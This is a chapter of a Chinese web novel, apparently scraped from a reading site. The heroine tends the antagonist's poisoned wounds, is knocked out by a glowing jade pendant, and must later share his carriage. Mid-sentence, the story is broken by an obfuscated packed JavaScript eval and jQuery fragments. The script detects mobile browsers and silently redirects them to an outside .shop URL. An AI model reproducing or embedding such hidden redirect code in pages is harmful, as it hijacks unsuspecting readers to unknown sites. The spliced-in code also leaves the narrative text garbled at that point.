文趣网 > 其他小说 > 攻略高冷反派,但绿茶小狗 > 13. 锦合镇(六)
    “好冷......”伶舟越神情有些恍惚。

    向晴枝感到一股温热的气息在自己耳边吹动,不觉缩了缩脖子:“我去找温大哥和微岚姐姐帮忙!”

    伶舟越用一只手臂撑着几案,慢慢坐起身,面如金纸:“没用的,结界还没有消失,你出不去。”

    向晴枝想起,之前伶舟越将素心的灵体从莘姨娘的身体里逼出后,宋微岚也是第一时间挡在他面前,保护他。会不会是因为每次使用法术之后,他就会变得异常虚弱呢?这一点原书里根本没有提及。

    向晴枝环顾四周,然后飞速起身:“你等我一下!”

    很快,屋内的烛光尽数熄灭,周围的一切安静得可怕。

    今天是初一,银钩似的新月斜挂在天空。即便是蜡烛全都熄灭,房里依然可以看到人影窜动。

    “咯吱”,通往阳榭的两扇门被向晴枝关得严严实实,只是她关门的瞬间,看到不远处有一个黑影闪过,一眨眼的功夫,那黑衣人便消失在了竹林之中。

    冰凉的月光从唯一一扇打开的窗户漏进来,向晴枝隐约可以看清伶舟越被这清晖照亮的半个身子。

    “多谢......”伶舟越难得如此真诚,就像一只被人拔了刺的刺猬,让人产生一种可以任意拿捏的错觉。

    她转身做了一个“嘘"的手势,蹑手蹑脚地回到了伶舟越身边,轻声问道:“结界、虫蛊、飞刃,这人来头不小,你知道他是何人吗?”

    伶舟越蹙眉凝思许久,轻轻摇头。

    现在,所有的情节都发生了不同程度的改变。要想达成原书最终的结局,首先要保证伶舟越顺利黑化。而他的仇家众多,只要不让他在黑化前被突然冒出来的仇家杀死,才是现阶段最重要的事情。

    “朱姑娘。”伶舟越抬眸看向向晴枝,眼神恢复了些许狠厉,“把我后背的刀,拔出来。”

    “可是......”向晴枝隐约看见他的睫毛上挂着从额头滴落的汗珠,心想,这可不是刚才的骨叉,而是飞刀,就这么拔出来,必然会血流不止。

    见她犹豫不决,伶舟越喝道:“快!”

    向晴枝无奈,她走到他身后,跪坐在蒲团上。见那两把飞刃刺入的部位恰好都集中在他左肩,不是要害。但无论如何,这两把飞刃也深深扎入了他的皮肉,导致他整个后肩全都被鲜血染红。

    她深吸一口气,将手搭在刀柄上,心脏已经悬在了喉间:“我想起来了!”

    “什么?”

    “今天那碗红烧肉你可一口没吃!”

    “红......红烧肉?”

    “我明天一定要告诉微岚姐姐!”

    “什么时候了你还......”

    “哗!”

    还没等伶舟越把话说完,两把飞刃哐当坠地,刀尖还残留着鲜血和肉渣。

    向晴枝用浸满血渍的双手将模糊的创口死死摁住,但血水还是止不住地往外淌。

    伶舟越的气息不稳,隐忍着低下头,整个人仿佛快要被屋内的黑暗吞噬。

    向晴枝不敢出声,她的心随着他起伏的后背剧烈跳动着,直到感受到对方的呼吸渐渐变得平稳起来。

    伶舟越然强忍着疼痛直起身体,盘腿而坐。豆大的汗珠顺着他的额头滴落,他凝神屏息,很快,那两个狰狞的伤口,竟然停止了流血。

    这狐狸的法术果然厉害!

    可是很快,她便觉得说这话为时尚早。

    伶舟越好不容易恢复平静的脸庞,忽然开始变得痛苦不堪。他用手一把捂住自己的胸口,“哗”的一声,吐出一口鲜血来。

    “伶舟越,你怎么了?!”向晴枝急忙凑近,只见他脖颈的皮肤上青筋暴起,不停地跳动扭曲,如同一条条青蛇在缠绕爬行。

    “飞刃有毒。”伶舟越声音低哑,他在胸口摸出一个瓷瓶递给向晴枝,“将这药涂在我伤口处,要快。此毒半个时辰之后便会侵蚀五脏。”

    向晴枝拿过药瓶,攥在手中犹豫半晌:“那你得把衣服解开吧。”

    伶舟越轻咳一声,骨节分明的手指将腰间系带松去,本就轻薄的交领长袍即刻变得松垮。待除去上身的衣衫,他后背狰狞的两个伤口便展露在了向晴枝面前。

    虽然已经止住了血,但伤口周围的皮肤的确已经开始溃烂,周围布满了如同蛛网般的红色血丝,并以肉眼可见的速度向外一圈圈扩散。

    向晴枝急忙伸出食指,将药膏抹在了伶舟越的伤口上。可能是药膏刺激伤口的原因,伶舟越无法自抑地闷哼了一声。他后背的肌肉很紧实,向晴枝为他擦药时,可以明显感觉到他肩背在微微颤抖。

    仔细涂抹两遍之后,向晴枝终于看到那红色“蛛网”停止了扩张。原本肿胀的皮肤,也慢慢平展了下去。但还是可以感觉到对方虚弱的呼吸声。

    “好些了吗?”向晴枝为他披好衣裳,绕到他身前。

    伶舟越衣袍微敞,轻闭的眼眸忽被一束幽光扫过,他睁开双眼,看到了向晴枝的羊首白玉。那玉佩不知何时又掉了出来,将落在它身上的冷冽月光变得温润柔和。

    伶舟越先是一惊,而后琥珀般的瞳仁如同涌入无限海水一般,瞬间变得幽深而湛蓝。那羊首白玉也跟着散发出神秘的蓝色微光。那微光竟如一股磁力,将向晴枝往伶舟越的身前奋力拉去。

    当她反应过来发生了什么时,已经和伶舟越贴得极近,近到两人中间仅隔着一块玉石。

    那白玉生出的蓝色暖流如千万星辰般将两人围绕。

    伶舟越如冰雪般寒冷的皮肤被向晴枝温暖的体温融化,不断散发出阵阵冷香,那香气随着这股暖流蒸腾而上,将两人紧紧包裹在其中。

    她的脸贴着伶舟越的胸口,听到急速碰撞的心跳声,一时分不清是对方的,还是自己的。

    这到底是怎么回事?!

    “伶舟越放开我!”她奋力挣扎着,但无济于事。在玉佩强大的引力前,她的身体根本无法动弹!

    慢慢地,双眼无比沉重,身体也彻底瘫软下去,她感觉自己仿佛漂浮在柔软的云朵之上,很快便沉沉昏睡过去,倒在伶舟越怀里彻底失去了知觉。

    “嘿!”

    “哈!”

    竹林中一对男女练剑的声音把向晴枝吵醒。

    她揉了揉眼睛,慢慢睁开,发现正躺在自己房间的床榻上。

    窗外天色微微发白,她坐起身,头一阵晕眩。

    昨晚发生的一切,一幕一幕在眼前闪过。向晴枝看着自己指缝中残留的血渍,确定那些并不是梦境!

    “咚,咚咚”,正在此时,房门被人敲响,一个小童的声音在门外响起:“姐姐,姐姐。你起来了吗?”

    向晴枝起身缓缓打开房门。

    又是昨天早上见到的那个小男孩。

    “什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635468|206562||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    事啊?”向晴枝弯下腰,摸了摸他毛茸茸的脑袋。

    那男孩手里端着一个承托,向晴枝看到里面放着一碗清淡的南瓜粥,两个浸着油色的酱肉包子和一个热乎乎的茶叶蛋。

    小孩行了个礼,道:“姐姐,这是大东家吩咐我送来的,他说叫你早些起床,半个时辰后你们就要出发了。”

    “出发?”

    对了!想起来了!

    向晴枝轻轻拍了拍自己脑门,昨天伶舟越不是说过吗,延后一日出发去青州。

    她转身看向滴漏,果然,距离辰时不到半个时辰了!

    但转念一想,她又觉得不合情理。昨晚伶舟越伤得如此严重,就算血止住了,毒也解了,但是毕竟是这么大两个窟窿,不用恢复两日再出发吗?

    “等一下!昨晚我到底是怎么回到房间的呢?”她记得晕过去之后,自己就完全失去了意识,“难道是我自己回来的?不可能完全没有印象啊!”

    那小男孩见她自言自语地来回踱着步,便走到屋内将食物放在了桌子上。

    他抱起承托,对向晴枝行了个礼,恭敬地说道:“姐姐,您慢用,小的出去了。”

    “难道是他送我回来的?”向晴枝掐着下巴满脸疑惑,“更不可能,他怎么会有那么好心!”

    “朱姑娘?”见向晴枝还是不搭理他,小孩挠挠头,合上房门离开了。

    清晨的锦合镇竟然格外的安静。可能晚上的夜生活太过丰富,白日大家都起不来床。

    街上除了要赶路的商人以外,便剩下路边零星的几个卖早饭的小摊贩。

    “朱姑娘,这里!”一个清甜的声音响起,向晴枝刚刚踏出听竹轩的大门,便看到宋微岚在马车前向她招手。

    温延见她出来,也停下手上的事情,微笑道:“朱姑娘早。”

    向晴枝一路小跑过去,朝两人笑眯眯地挥挥手:“早啊!”

    “大东家,所有的行礼都已备好了。您吩咐的药丸也买来了......”

    向晴枝听到掌柜的声音从前面一个马车传来,想必那马车里坐的是伶舟越。

    她探出脑袋看向那辆马车,却只看到那掌柜不断点头哈腰的模样,其余的什么也看不见。

    “不知道那狐狸的伤好些了吗?”想到这里,她双手使劲拍了拍自己的脸蛋:“操那么多心干嘛?只要没死,苟到结尾就行!”

    温延和宋微岚看着眼前的人又是打自己脸又是嘟嘟囔囔,互相看了一眼,露出费解的神情。

    “朱姑娘昨夜是不是没休息好。”温延关心道。

    “当然啦,我昨天差点就......”向晴枝没有再继续往下说。看来,这两人是真的对昨天发生的事情一无所知。

    “几位公子小姐。大东家说该出发了。”刚才还在伶舟越马车前说话的掌柜,不知何时就出现在了几人面前。

    “好。”宋微岚点点头。

    从温府出发的时候,也是两辆马车,伶舟越一辆,他们三人共乘一辆。

    当宋微岚和温延都上了马车后,向晴枝自然而然地跟在后面要上去,却被车夫恭敬地拦了下来:“对不住朱姑娘,这辆车放了行礼,只够坐两个人。大东家说了,坐不下的那个人,就和他坐一辆。”

    向晴枝愣在原地,不敢相信自己听到的。

    和伶舟越坐一辆马车?!

    有没有搞错啊!